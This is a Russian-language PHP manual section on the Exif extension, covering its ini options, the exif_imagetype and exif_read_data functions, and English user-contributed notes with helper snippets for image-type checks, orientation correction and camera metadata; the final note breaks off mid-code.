Exif поддерживает автоматическое преобразование кодировок символов Unicode и JIS пользовательских комментариев, когда модуль mbstring доступен. При этом комментарий сначала декодируется с использованием указанного набора символов. Затем результат кодируется в другом наборе символов, который должен совпадать с вашим HTTP-выводом.

Опции конфигурации Exif
Имя | По умолчанию | Место изменения | Список изменений
exif.encode_unicode | "ISO-8859-15" | PHP_INI_ALL |
exif.decode_unicode_motorola | "UCS-2BE" | PHP_INI_ALL |
exif.decode_unicode_intel | "UCS-2LE" | PHP_INI_ALL |
exif.encode_jis | "" | PHP_INI_ALL |
exif.decode_jis_motorola | "JIS" | PHP_INI_ALL |
exif.decode_jis_intel | "JIS" | PHP_INI_ALL |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

exif.encode_unicode string

exif.encode_unicode определяет набор символов UNICODE при обработке пользовательских комментариев. По умолчанию это ISO-8859-15, который должен работать для большинства не азиатских стран. Эта установка может быть пустой или обязана быть кодировкой, поддерживаемой mbstring. Если она пустая, используется текущая внутренняя кодировка mbstring.

exif.decode_unicode_motorola string

exif.decode_unicode_motorola определяет внутреннюю кодировку символов изображения для Unicode-кодированных пользовательских комментариев, если изображение имеет байтовый порядок motorola (big-endian). Эта установка не может быть пустой, но вы можете указать список кодировок, поддерживаемых mbstring. По умолчанию UCS-2BE.

exif.decode_unicode_intel string

exif.decode_unicode_intel определяет внутреннюю кодировку символов изображения для Unicode-кодированных пользовательских комментариев, если изображение имеет байтовый порядок intel (little-endian). Эта установка не может быть пустой, но вы можете указать список кодировок, поддерживаемых mbstring. По умолчанию UCS-2LE.

exif.encode_jis string

exif.encode_jis определяет набор символов JIS для обработки пользовательских комментариев. По умолчанию - пустое значение, которое заставляет функции использовать текущую внутреннюю кодировку mbstring.

exif.decode_jis_motorola string

exif.decode_jis_motorola определяет внутреннюю кодировку символов изображения для JIS-кодированных пользовательских комментариев, если изображение имеет байтовый порядок motorola (big-endian). Эта установка не может быть пустой, но вы можете указать список кодировок, поддерживаемых mbstring. По умолчанию JIS.

exif.decode_jis_intel string

exif.decode_jis_intel определяет внутреннюю кодировку символов изображения для JIS-кодированных пользовательских комментариев, если изображение имеет байтовый порядок intel (little-endian). Эта установка не может быть пустой, но вы можете указать список кодировок, поддерживаемых mbstring. По умолчанию JIS.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

EXIF_USE_MBSTRING (int)
Эта константа равна 1 если разрешено mbstring, или 0, если нет.

Функция exif_imagetype() отображает связанные встроенные константы.

User Contributed Notes

There are no user contributed notes for this page.


Exif Функции

Содержание

  • exif_imagetype — Determine the type of an image
  • exif_read_data — Читает заголовки EXIF из файлов изображений
  • exif_tagname — Получение имени заголовка по его индексу
  • exif_thumbnail — Получает встроенное превью изображения
  • read_exif_data — Псевдоним exif_read_data

User Contributed Notes

There are no user contributed notes for this page.


Determine the type of an image

  • « Exif Функции
  • exif_read_data »
  • PHP Manual
  • Exif Функции
  • Determine the type of an image

exif_imagetype

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

exif_imagetype — Determine the type of an image

Описание

exif_imagetype(string $filename): int|false

exif_imagetype() считывает начальные байты изображения и проверяет их сигнатуру.

exif_imagetype() может использоваться, чтобы избежать вызовов других exif-функций с неподдерживаемыми аргументами. Также при взаимодействии с $_SERVER['HTTP_ACCEPT'] можно проверять, будет ли изображение отображаться в браузере.

Список параметров

filename
Изображение, тип которого требуется определить.

Возвращаемые значения

Если корректная сигнатура обнаружена, функция вернёт соответствующую типу изображения константу. В противном случае функция вернёт false. Возвращаемое значение то же, что и во втором аргументе при возврате из функции getimagesize(), однако exif_imagetype() значительно быстрее.

Следующие определённые константы представляют возможные возвращаемые значения функции exif_imagetype():

Константы Imagetype
Значение | Константа
1 | IMAGETYPE_GIF
2 | IMAGETYPE_JPEG
3 | IMAGETYPE_PNG
4 | IMAGETYPE_SWF
5 | IMAGETYPE_PSD
6 | IMAGETYPE_BMP
7 | IMAGETYPE_TIFF_II (порядок байт intel)
8 | IMAGETYPE_TIFF_MM (порядок байт motorola)
9 | IMAGETYPE_JPC
10 | IMAGETYPE_JP2
11 | IMAGETYPE_JPX
12 | IMAGETYPE_JB2
13 | IMAGETYPE_SWC
14 | IMAGETYPE_IFF
15 | IMAGETYPE_WBMP
16 | IMAGETYPE_XBM
17 | IMAGETYPE_ICO
18 | IMAGETYPE_WEBP
19 | IMAGETYPE_AVIF

Замечание:

В случаях, когда невозможно считать количество байтов из файла достаточное для определения типа изображения, функция exif_imagetype() вызовет предупреждение уровня E_NOTICE и вернёт false.

Список изменений

Версия | Описание
8.1.0 | Добавлена поддержка AVIF.
7.1.0 | Добавлена поддержка WebP.

Примеры

Пример #1 Пример использования exif_imagetype()

<?php
if (exif_imagetype('image.gif') != IMAGETYPE_GIF) {
echo 'Картинка не gif';
}
?>

Смотрите также

  • image_type_to_mime_type() - Получение Mime-типа для типа изображения, возвращаемого функциями getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
  • getimagesize() - Получение размера изображения

User Contributed Notes

vuatintac at yahoo dot com 01-Apr-2015 05:32
to checking file is image, I used this:

function is_image($path)
{
    $a = getimagesize($path);
    $image_type = $a[2];

    if(in_array($image_type , array(IMAGETYPE_GIF , IMAGETYPE_JPEG ,IMAGETYPE_PNG , IMAGETYPE_BMP)))
    {
        return true;
    }
    return false;
}
christophe dot tournayre at univ*bpclermont dot Fr 18-Sep-2013 09:01
Because I only want to check for jpeg or png from a memory string, this is my 2 functions that are quick and don't have any dependencies :

<?php
  function is_jpeg(&$pict)
  {
    return (bin2hex($pict[0]) == 'ff' && bin2hex($pict[1]) == 'd8');
  }

  function is_png(&$pict)
  {
    return (bin2hex($pict[0]) == '89' && $pict[1] == 'P' && $pict[2] == 'N' && $pict[3] == 'G');
  }
?>
admin at leonard !spam challis dot com 03-Nov-2010 08:02
Windows users: If you get the fatal error "Fatal error:  Call to undefined function exif_imagetype()", and you have enabled php_exif.dll, make sure you enable php_mbstring.dll. You must put mbstring before exif in the php.ini, i.e.:

extension=php_mbstring.dll
extension=php_exif.dll

You can check whether this has worked by calling phpinfo() and searching for exif.
tom dot ghyselinck at telenet dot be 13-Jan-2008 01:36
If the function exif_imagetype() is not available,
you can try the following workaround:

if ( ! function_exists( 'exif_imagetype' ) ) {
    function exif_imagetype ( $filename ) {
        if ( ( list($width, $height, $type, $attr) = getimagesize( $filename ) ) !== false ) {
            return $type;
        }
    return false;
    }
}
Tim 19-Nov-2007 08:40
By trial and error, it seems that a file has to be 12 bytes or larger in order to avoid a "Read error!".  Here's a work-around to avoid an error being thrown:

// exif_imagetype throws "Read error!" if file is too small
if (filesize($uploadfile) > 11)
    $mimetype = exif_imagetype($uploadfile);
else
    $mimetype = false;
09-Nov-2006 04:43
Seems to give a 'Read error' warning if the size of the file is very small (2 bytes). I think this is because it needs a min 3 bytes to determine the file type
tom at tomvergote dot be 07-Feb-2004 02:11
libexif can also be used to parse image info out of id3 tags:

exif_read_data("mp3_with_2.4ID3TAGS, '', true, false);


Читает заголовки EXIF из файлов изображений

  • « exif_imagetype
  • exif_tagname »
  • PHP Manual
  • Exif Функции
  • Читает заголовки EXIF из файлов изображений

exif_read_data

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

exif_read_data — Читает заголовки EXIF из файлов изображений

Описание

exif_read_data(
resource|string $file,
?string $required_sections = null,
bool $as_arrays = false,
bool $read_thumbnail = false
): array|false

exif_read_data() читает заголовки EXIF из файлов изображений. Таким образом можно читать метаданные, генерируемые цифровыми фотоаппаратами.

По идее, EXIF-заголовки должны идти первыми в JPEG/TIFF файлах, генерируемых фотоаппаратами. Но, к сожалению, каждый производитель имеет своё представление того, каким образом компоновать метаданные изображения. Поэтому будьте готовы к ситуации, когда перед Exif-заголовком есть ещё что-то.

Height и Width вычисляются аналогично вычислениям getimagesize(), так что эти параметры не обязаны присутствовать в заголовке. html - текстовая строка, задающая высоту/ширину, которую можно использовать в обычном HTML.

Если Exif-заголовок содержит сообщение об авторских правах (Copyright), само сообщение может содержать 2 значения. Эта ситуация не описана в стандарте Exif 2.10, поэтому раздел COMPUTED будет содержать оба этих значения в полях Copyright.Photographer и Copyright.Editor. В то же время разделы IFD0 будут содержать массив байт с NULL-символом в качестве разделителя этих двух значений либо только первое значение, если тип файла определён неверно (нормальная ситуация для Exif). Раздел COMPUTED будет также содержать Copyright, это может быть либо исходная строка, либо список из владельца фотографии и редактора через запятую.

Тег UserComment имеет те же проблемы, что и Copyright. Он может хранить 2 значения. Первое - использованную кодировку, второе - само значение. В этом случае раздел IFD содержит либо кодировку, либо массив байт. Раздел COMPUTED будет хранить оба этих значения в полях UserCommentEncoding и UserComment. Содержимое UserComment будет доступно в любом случае, поэтому предпочтительней использовать его вместо раздела IFD0.

Также exif_read_data() проверяет EXIF теги на соответствие спецификации EXIF (» http://exif.org/Exif2-2.PDF, стр. 20).

Список параметров

file

Местоположение файла с изображением. Может быть как путём к файлу, так и потоковым ресурсом (можно использовать обёртки).

required_sections

Список разделённых запятой разделов, которые должны быть представлены в результирующем массиве (array). Если ни один из разделов найти не удастся, функция вернёт false.

FILE | FileName, FileSize, FileDateTime, SectionsFound
COMPUTED | html, Width, Height, IsColor, и другие. Height и Width вычисляются аналогично getimagesize(), поэтому их не обязательно включать в заголовок. html - текстовая строка, задающая высоту/ширину, которую можно использовать в обычном HTML.
ANY_TAG | Любая информация заключённая в тег, например, IFD0, EXIF, ...
IFD0 | Все данные тега IFD0. В обычных изображениях в нем хранится размер изображения.
THUMBNAIL | Если файл содержит второй раздел IFD, то считается, что у изображения есть эскиз. Вся информация об эскизе хранится в этом разделе.
COMMENT | Заголовки комментариев JPEG изображений.
EXIF | Раздел EXIF является подразделом IFD0. Он содержит более детальную информацию об изображении. Большинство его записей зависят от фотоаппарата.

as_arrays

Определяет, формировать ли разделы в виде массивов. Разделы required_sections, COMPUTED, THUMBNAIL и COMMENT всегда делаются массивами, так как они могут содержать значения, имена которых будут конфликтовать с именами в других разделах.

read_thumbnail

Если true, будет прочитан сам эскиз. В противном случае будет прочитана только информация в тегах.

Возвращаемые значения

Возвращает ассоциативный массив (array), в котором ключами будут имена заголовков, а значениями - значения соответствующие этим заголовкам. Если никаких данных вернуть нельзя, exif_read_data() вернёт false.

Ошибки

Ошибки уровня E_WARNING и/или E_NOTICE могут возникать для неподдерживаемых тегов или других потенциальных условий ошибки, но функция всё равно пытается прочитать всю понятную информацию.

Список изменений

Версия | Описание
8.0.0 | required_sections теперь допускает значение null.
7.2.0 | Параметр file переименован в stream и может принимать как локальный путь к файлу, так и потоковый ресурс.
7.2.0 Добавлена поддержка следующих форматов EXIF:
  • Samsung
  • DJI
  • Panasonic
  • Sony
  • Pentax
  • Minolta
  • Sigma/Foveon
  • AGFA
  • Kyocera
  • Ricoh
  • Epson

Примеры

Пример #1 Пример использования exif_read_data()

<?php
echo "test1.jpg:<br />\n";
$exif = exif_read_data('tests/test1.jpg', 'IFD0');
echo $exif===false ? "Не найдено данных заголовка.<br />\n" : "Изображение содержит заголовки<br />\n";

$exif = exif_read_data('tests/test2.jpg', 0, true);
echo "test2.jpg:<br />\n";
foreach ($exif as $key => $section) {
foreach ($section as $name => $val) {
echo "$key.$name: $val<br />\n";
}
}
?>

Первый вызов завершается неудачей, так как в заголовках изображения нет информации.

Результатом выполнения данного примера будет что-то подобное:

test1.jpg:
No header data found.
test2.jpg:
FILE.FileName: test2.jpg
FILE.FileDateTime: 1017666176
FILE.FileSize: 1240
FILE.FileType: 2
FILE.SectionsFound: ANY_TAG, IFD0, THUMBNAIL, COMMENT
COMPUTED.html: width="1" height="1"
COMPUTED.Height: 1
COMPUTED.Width: 1
COMPUTED.IsColor: 1
COMPUTED.ByteOrderMotorola: 1
COMPUTED.UserComment: Exif test image.
COMPUTED.UserCommentEncoding: ASCII
COMPUTED.Copyright: Photo (c) M.Boerger, Edited by M.Boerger.
COMPUTED.Copyright.Photographer: Photo (c) M.Boerger
COMPUTED.Copyright.Editor: Edited by M.Boerger.
IFD0.Copyright: Photo (c) M.Boerger
IFD0.UserComment: ASCII
THUMBNAIL.JPEGInterchangeFormat: 134
THUMBNAIL.JPEGInterchangeFormatLength: 523
COMMENT.0: Comment #1.
COMMENT.1: Comment #2.
COMMENT.2: Comment #3end
THUMBNAIL.JPEGInterchangeFormat: 134
THUMBNAIL.Thumbnail.Height: 1
THUMBNAIL.Thumbnail.Height: 1

Пример #2 Использование exif_read_data() с потоковым ресурсом (доступно с PHP 7.2.0)

<?php
// Открываем файл в бинарном режиме
$fp = fopen('/path/to/image.jpg', 'rb');

if (!$fp) {
echo 'Ошибка: Невозможно открыть файл для чтения';
exit;
}

// Попытка прочитать заголовки exif
$headers = exif_read_data($fp);

if (!$headers) {
echo 'Ошибка: невозможно прочитать заголовки exif';
exit;
}

// Напечатать заголовки 'COMPUTED'
echo 'Заголовки EXIF:' . PHP_EOL;

foreach ($headers['COMPUTED'] as $header => $value) {
printf(' %s => %s%s', $header, $value, PHP_EOL);
}
?>

Результатом выполнения данного примера будет что-то подобное:

EXIF Headers:
 Height => 576
 Width => 1024
 IsColor => 1
 ByteOrderMotorola => 0
 ApertureFNumber => f/5.6
 UserComment =>
 UserCommentEncoding => UNDEFINED
 Copyright => Denis
 Thumbnail.FileType => 2
 Thumbnail.MimeType => image/jpeg

Примечания

Замечание:

Если разрешён mbstring, то exif будет пытаться обрабатывать юникод и брать кодировку как указано в exif.decode_unicode_motorola и exif.decode_unicode_intel. Модуль exif не будет пытаться самостоятельно определить кодировку и указание правильной кодировки остаётся на совести пользователя путём установки одной из двух INI-директив перед вызовом exif_read_data().

Замечание:

Если параметр file использован для передачи в функцию потока, то этот поток должен быть перематываемым. Обратите внимание, что файловый позиционный указатель не будет изменён после завершения работы этой функции.

Смотрите также

  • exif_thumbnail() - Получает встроенное превью изображения
  • getimagesize() - Получение размера изображения
  • Поддерживаемые протоколы и обёртки

User Contributed Notes

Tim 05-Oct-2019 08:44
The following code:
<?php
$data = exif_read_data('foo.jpg');
var_dump($data['Keywords']);
?>
produces string(15) "???????????????"

Adding
<?php
ini_set('exif.decode_unicode_motorola', 'UCS-2LE');
?>
before the call to exif_red_data produces
string(15) "landscape;;field"
omerg at lucidcode dot com dot tr 09-Feb-2019 12:12
The example provided for displaying exif array content is not working in recent version because not all entry values are of array type.

This is an alternative echo loop:

 <?php
echo "test1.jpg:<br />\n";
$exif = exif_read_data('tests/test1.jpg', 'IFD0');
echo $exif===false ? "No header data found.<br />\n" : "Image contains headers<br />\n";

$exif = exif_read_data('tests/test2.jpg', 0, true);
echo "test2.jpg:<br />\n";
foreach ($exif as $key => $section) {

    if (!is_array ($section)) {
        echo "$key: $section<br />\n";
    } else {
        foreach ($section as $name => $val) {
            echo "$key.$name: $val<br />\n";
        }
    }

}
?>
TNTcode 09-Oct-2017 12:34
<?php

// auto rotates an image file based on exif data from camera
// if destination file is specified then it saves file there, otherwise it will display it to user
// note that images already at normal orientation are skipped (when exif data Orientation = 1)

if(!function_exists("gd_auto_rotate")){
    function gd_auto_rotate($original_file, $destination_file=NULL){

        $original_extension = strtolower(pathinfo($original_file, PATHINFO_EXTENSION));
        if(isset($destination_file) and $destination_file!=''){
            $destination_extension = strtolower(pathinfo($destination_file, PATHINFO_EXTENSION));
        }

        // try to auto-rotate image by gd if needed (before editing it)
        // by imagemagik it has an easy option
        if(function_exists("exif_read_data")){

            $exif_data = exif_read_data($original_file);
            $exif_orientation = $exif_data['Orientation'];

            // value 1 = normal ?! skip it ?!

            if($exif_orientation=='3'  or $exif_orientation=='6' or $exif_orientation=='8'){

                $new_angle[3] = 180;
                $new_angle[6] = -90;
                $new_angle[8] = 90;

                // load the image
                if($original_extension == "jpg" or $original_extension == "jpeg"){
                    $original_image = imagecreatefromjpeg($original_file);
                }
                if($original_extension == "gif"){
                    $original_image = imagecreatefromgif($original_file);
                }
                if($original_extension == "png"){
                    $original_image = imagecreatefrompng($original_file);
                }

                $rotated_image = imagerotate($original_image, $new_angle[$exif_orientation], 0);

                // if no destination file is set, then show the image
                if(!$destination_file){
                    header('Content-type: image/jpeg');
                    imagejpeg($rotated_image, NULL, 100);
                }

                // save the smaller image FILE if destination file given
                if($destination_extension == "jpg" or $destination_extension=="jpeg"){
                    imagejpeg($rotated_image, $destination_file,100);
                }
                if($destination_extension == "gif"){
                    imagegif($rotated_image, $destination_file);
                }
                if($destination_extension == "png"){
                    imagepng($rotated_image, $destination_file,9);
                }

                imagedestroy($original_image);
                imagedestroy($rotated_image);

            }
        }
    }
}

?>
b at asdflolinternet dot de 18-Oct-2015 12:42
Problem with "S?o?m?e? ?T?e?x?t??" on value(s), exif[IFD0][Title] for example, when they were edited trough windows right click properties and then got read with the read_exif_data() function.
try:

$exif_['IFD0']['Title']=mb_convert_encoding($exif_['IFD0']['Title'],"auto","byte2le");

works on UTF-8 and so.

//
// outputs all available character encodings and prints on screen
// foreach(mb_list_encodings() as $chr)
//  {$test[$chr]=mb_convert_encoding($image[IFD0][Title],'auto',$chr);}
//  exit(print_r($test));
//
Eion Robb 26-May-2015 08:56
I was needing to use exif_read_data() to read out the orientation flag, only to find that the webhost didn't have the exif extension available for use.  Instead, I hacked up a regex that worked fairly well as a replacement

<?php
$orientation = 1;
if (function_exists('exif_read_data')) {
    $exif = exif_read_data($filename);
    if (isset($exif['Orientation']))
        $orientation = $exif['Orientation'];
} else if (preg_match('@\x12\x01\x03\x00\x01\x00\x00\x00(.)\x00\x00\x00@', file_get_contents($filename), $matches)) {
    $orientation = ord($matches[1]);
}
?>
iam at thatguy dot co dot za 20-Dec-2013 08:15
I posted the original version of the function, but after using it for a while I discovered I didn't do enough error checking.

I have re-factored it somewhat, and it now returns an empty array should it not be able to read the image's exif. If it is able to, it will return the details it was able to retrieve. And this should be without error.

I am suppressing errors, because if you pass it images which cannot parse, you will get a warning.

<?php

# Modified Version of cameraUsed, no longer returns date.
public function cameraUsed($imagePath)
{
    # The default empty return
    $return = array(
        'make'      => "",
        'model'     => "",
        'exposure'  => "",
        'aperture'  => "",
        'iso'       => ""
    );

    // Check if the variable is set and if the file itself exists before continuing
    if ((isset($imagePath)) AND (file_exists($imagePath)))
    {
        // There are 2 arrays which contains the information we are after, so it's easier to state them both
        $exif_ifd0 = @read_exif_data($imagePath ,'IFD0' ,0);
        $exif_exif = @read_exif_data($imagePath ,'EXIF' ,0);

        # Ensure that we actually got some information
        if (($exif_ifd0 !== false) AND ($exif_exif !== false))
        {
            // Make
            if (@array_key_exists('Make', $exif_ifd0))
            {
                $return['make']     = $exif_ifd0['Make'];
            }

            // Model
            if (@array_key_exists('Model', $exif_ifd0))
            {
                $return['model']    = $exif_ifd0['Model'];
            }

            // Exposure
            if (@array_key_exists('ExposureTime', $exif_ifd0))
            {
                $return['exposure'] = $exif_ifd0['ExposureTime'];
            }

            // Aperture
            if (@array_key_exists('ApertureFNumber', $exif_ifd0['COMPUTED']))
            {
                $return['aperture'] = $exif_ifd0['COMPUTED']['ApertureFNumber'];
            }

            // ISO
            if (@array_key_exists('ISOSpeedRatings',$exif_exif))
            {
                $return['iso']     = $exif_exif['ISOSpeedRatings'];
            }
        }
    }

    # Return either an empty array, or the details which we were able to extrapolate.
    return $return;
}

?>
Clive dot Moore at ma-design dot com 06-Dec-2013 09:19
Following up on darkain at darkain dot com  script for grabbing the ShutterSpeedValue from exif data...
@http://php.net/manual/en/function.exif-read-data.php

I have found that the option shown for ShutterSppedValue, can also be ExposureTime in the exif data.

Also the code as written provides a WRONG return, as the return is always 1 so you get 1/1sec.

Here is corrected code, or a version that corrects what is obviously not working after 5 years since it was originally developed::

Here is the updated version for:: $exif[ExposureTime]

    function exif_get_float($value) {
        $pos = strpos($value, '/');
        if ($pos === false) return (float) $value;
        $a = (float) substr($value, 0, $pos);
        $b = (float) substr($value, $pos+1);
    return ($b == 0) ? ($a) : ($a / $b);
    };

    function exif_get_exposureTime(&$exif) {
        if (!isset($exif['ExposureTime'])) return false;
        $apex    = exif_get_float($exif['ExposureTime']);
        $shutter = 1/$apex;
        // above 1 sec exposure time::
        if ($shutter <= 1) return round($apex) . ' seconds';

    return '1/' . round(1 / $apex) . 'sec';
    };
hoangvu4000 at gmail dot com 26-May-2013 05:47
This is function, resize image and don't rotates images have exif info

PHP must be enabled:
extension=php_mbstring.dll
extension=php_exif.dll

<?php
function CreateThumbnail($pic,$thumb,$thumbwidth, $quality = 100)
{

        $im1=ImageCreateFromJPEG($pic);

        //if(function_exists("exif_read_data")){
                $exif = exif_read_data($pic);
                if(!empty($exif['Orientation'])) {
                switch($exif['Orientation']) {
                case 8:
                    $im1 = imagerotate($im1,90,0);
                    break;
                case 3:
                    $im1 = imagerotate($im1,180,0);
                    break;
                case 6:
                    $im1 = imagerotate($im1,-90,0);
                    break;
                }
                }
        //}
        $info = @getimagesize($pic);

        $width = $info[0];

        $w2=ImageSx($im1);
        $h2=ImageSy($im1);
        $w1 = ($thumbwidth <= $info[0]) ? $thumbwidth : $info[0]  ;

        $h1=floor($h2*($w1/$w2));
        $im2=imagecreatetruecolor($w1,$h1);

        imagecopyresampled ($im2,$im1,0,0,0,0,$w1,$h1,$w2,$h2);
        $path=addslashes($thumb);
        ImageJPEG($im2,$path,$quality);
        ImageDestroy($im1);
        ImageDestroy($im2);
}
?>
kurt at mandella dot biz 25-Apr-2013 06:34
Photos processed in Picasa often contain garbage data in the "MAKERNOTE" section and under EXIF.MakerNote, (UTF8) like:

[MakerNote] => r0~??"i2OOy     e §...b!    )    ) EI "?O
#s &0{ 'U (a -?`yy@yyyiE e€Yyy  yyyyyyx "u»Doy H ?.}BuIMG:DIGITAL IXUS 100 IS JPEGFirmware Version 1.00s›xCOyyy-l?yyy  OIIx? yyIIYayyy?Z(? (?T‹U'‹d-~O"?yyy    Ay??ajaApgaXfaWb[Te«
8u5:A?-3ayy5»y ‹;?E S €a€`         ? ddiyiyiyiyiyiy
yyS1—IaoE??¬g?ii

This can't be written to Blob in MySql. The following code removes the garbage tags.

$exif = exif_read_data($process_photo, 0, 'EXIF');

if($exif['IFD0']['Software'] == "Picasa"){

foreach ($exif as $key => $section){

 if($key != "MAKERNOTE"){
  foreach ($section as $name => $val){
   if($name != 'MakerNote'){
    $exifA[$key][$name] = $val;
   }
  }
  $exifB[$key] = $exifA[$key];
 }
}
$serialized_exif = serialize ($exifB);
}else{
$serialized_exif = serialize ($exif);
}
chadsmith729 at gmail dot com 20-Dec-2012 01:34
When the new update came out from Apple for iOS6 it provided the ability for iPad, iPod, and iPhones to be able to upload files from the device through Safari. Obviously this will open up an array of implementations where at one point it was just not possible.

The issue comes when a photo is uploaded it will be dependent on the location of the "button" when the photo was taken. Imagine if you will that you have your iPhone turned with the button at the top and you take a photo. The photo when uploaded to your server might be "upside down".

The following code will ensure that all uploaded photos will be oriented correctly upon upload:
<?php
$image = imagecreatefromstring(file_get_contents($_FILES['image_upload']['tmp_name']));
$exif = exif_read_data($_FILES['image_upload']['tmp_name']);
if(!empty($exif['Orientation'])) {
    switch($exif['Orientation']) {
        case 8:
            $image = imagerotate($image,90,0);
            break;
        case 3:
            $image = imagerotate($image,180,0);
            break;
        case 6:
            $image = imagerotate($image,-90,0);
            break;
    }
}
// $image now contains a resource with the image oriented correctly
?>

What you do with the image resource from there is entirely up to you.

I hope that this helps you identify and orient any image that's uploaded from an iPad, iPhone, or iPod. Orientation for the photo is the key to knowing how to rotate it correctly.
drpain at webster dot org dot za 13-Mar-2012 11:40
Please note that when resizing images with GD and most image processing scripts or applications you will loose the EXIF information. What I did as a workaround is book this information into MySQL before I re-size images.

<?php

// This function is used to determine the camera details for a specific image. It returns an array with the parameters.
function cameraUsed($imagePath) {

    // Check if the variable is set and if the file itself exists before continuing
    if ((isset($imagePath)) and (file_exists($imagePath))) {

      // There are 2 arrays which contains the information we are after, so it's easier to state them both
      $exif_ifd0 = read_exif_data($imagePath ,'IFD0' ,0);
      $exif_exif = read_exif_data($imagePath ,'EXIF' ,0);

      //error control
      $notFound = "Unavailable";

      // Make
      if (@array_key_exists('Make', $exif_ifd0)) {
        $camMake = $exif_ifd0['Make'];
      } else { $camMake = $notFound; }

      // Model
      if (@array_key_exists('Model', $exif_ifd0)) {
        $camModel = $exif_ifd0['Model'];
      } else { $camModel = $notFound; }

      // Exposure
      if (@array_key_exists('ExposureTime', $exif_ifd0)) {
        $camExposure = $exif_ifd0['ExposureTime'];
      } else { $camExposure = $notFound; }

      // Aperture
      if (@array_key_exists('ApertureFNumber', $exif_ifd0['COMPUTED'])) {
        $camAperture = $exif_ifd0['COMPUTED']['ApertureFNumber'];
      } else { $camAperture = $notFound; }

      // Date
      if (@array_key_exists('DateTime', $exif_ifd0)) {
        $camDate = $exif_ifd0['DateTime'];
      } else { $camDate = $notFound; }

      // ISO
      if (@array_key_exists('ISOSpeedRatings',$exif_exif)) {
        $camIso = $exif_exif['ISOSpeedRatings'];
      } else { $camIso = $notFound; }

      $return = array();
      $return['make'] = $camMake;
      $return['model'] = $camModel;
      $return['exposure'] = $camExposure;
      $return['aperture'] = $camAperture;
      $return['date'] = $camDate;
      $return['iso'] = $camIso;
      return $return;

    } else {
      return false;
    }
}

?>

An example of it's use follows:

<?php

$camera = cameraUsed("/img/myphoto.jpg");
echo "Camera Used: " . $camera['make'] . " " . $camera['model'] . "<br />";
echo "Exposure Time: " . $camera['exposure'] . "<br />";
echo "Aperture: " . $camera['aperture'] . "<br />";
echo "ISO: " . $camera['iso'] . "<br />";
echo "Date Taken: " . $camera['date'] . "<br />";

?>

Will display the following, depending on the data:

Camera Used: SONY DSC-S930
Exposure Time: 1/400
Aperture: f/4.3
ISO: 100
Date Taken: 2010:12:10 18:18:45

If the image has been re-sized and the information is no longer available then you should receive the following when echoing the same:

Camera Used: Unavailable
Exposure Time: Unavailable
Aperture: Unavailable
ISO: Unavailable
Date Taken: Unavailable

Some cameras do not capture all the information, for instance Blackberry phones do not record an aperture, or iso and you will get Unavailable for those fields.

I hope you find this helpful.
michael [at[ thisiswilson [dot[ com 20-Nov-2008 09:01
From - darkain at darkain dot com 's example.

If all the data is from the same image - simply

<?php
        $exif_data = exif_read_data ( $_FILES['photo']

        $emake =$exif_data['Make'];
        $emodel = $exif_data['Model'];
        $eexposuretime = $exif_data['ExposureTime'];
        $efnumber = $exif_data['FNumber'];
        $eiso = $exif_data['ISOSpeedRatings'];
        $edate = $exif_data['DateTime'];
?>

will work, I tried using the PEL library, and while pretty cool, I can't for the life understand how to call some things, this is simpler if your system is pretty basic or if you're in a rush.  If you have time, try playing with PEL.  It's not maintained at the moment though..

http://pel.sourceforge.net/
lincolnzsilva at gmail dot com 26-Sep-2008 04:57
Get some EXIFs fields (easy way):

<?php
        $exif_make = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $emake = $exif_make['Make'];

        $exif_model = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $emodel = $exif_model['Model'];

        $exif_exposuretime = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $eexposuretime = $exif_exposuretime['ExposureTime'];

        $exif_fnumber = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $efnumber = $exif_fnumber['FNumber'];

        $exif_iso = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $eiso = $exif_iso['ISOSpeedRatings'];

        $exif_date = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $edate = $exif_date['DateTime'];
?>
darkain at darkain dot com 28-Jul-2008 11:33
I wanted some quick and easy functions for computing the shutter speed and f-stop.  I couldn't find any anywhere, so I made some.  It took some research :

<?php
function exif_get_float($value) {
  $pos = strpos($value, '/');
  if ($pos === false) return (float) $value;
  $a = (float) substr($value, 0, $pos);
  $b = (float) substr($value, $pos+1);
  return ($b == 0) ? ($a) : ($a / $b);
}

function exif_get_shutter(&$exif) {
  if (!isset($exif['ShutterSpeedValue'])) return false;
  $apex    = exif_get_float($exif['ShutterSpeedValue']);
  $shutter = pow(2, -$apex);
  if ($shutter == 0) return false;
  if ($shutter >= 1) return round($shutter) . 's';
  return '1/' . round(1 / $shutter) . 's';
}

function exif_get_fstop(&$exif) {
  if (!isset($exif['ApertureValue'])) return false;
  $apex  = exif_get_float($exif['ApertureValue']);
  $fstop = pow(2, $apex/2);
  if ($fstop == 0) return false;
  return 'f/' . round($fstop,1);
}
?>
wdierkes at 5dollarwhitebox dot org 04-Sep-2007 06:20
Using the exif methods to read WINXP data returns unexpected results unless both exif and mbstring are compiled statically.  Please reference the following bug reports:

Bug #31980
Bug #23105

Specifically, the last comment on #23105:

"[8 Apr 2003 4:26pm UTC] edink@php.net

This cannot be fixed due to the fact that mbstring has been removed from PHP core (it has been 'unbundled') and the rest of core files and other extensions cannot use mbstring functionality when it is compiled as a shared library (dll).
"

If exif is compiled statically (--enable-exif) and mbstring compiled as a DSO module (--enable-mbstring=shared) then exif_read_data may only return a single character rather than the entire string.

Compiling both exif and mbstring statically (--enable-exif --enable-mbstring) resolves the issue.
mafo at mafo removethis dot sk 08-Aug-2007 01:57
some cameras (most higher models) have position senzor (gyroskope?) and taking-position is wrote in EXIF, here is simple script for automatic rotating images

<?php
$exif = exif_read_data($filename);
$ort = $exif['IFD0']['Orientation'];
    switch($ort)
    {
        case 1: // nothing
        break;

        case 2: // horizontal flip
            $image->flipImage($public,1);
        break;

        case 3: // 180 rotate left
            $image->rotateImage($public,180);
        break;

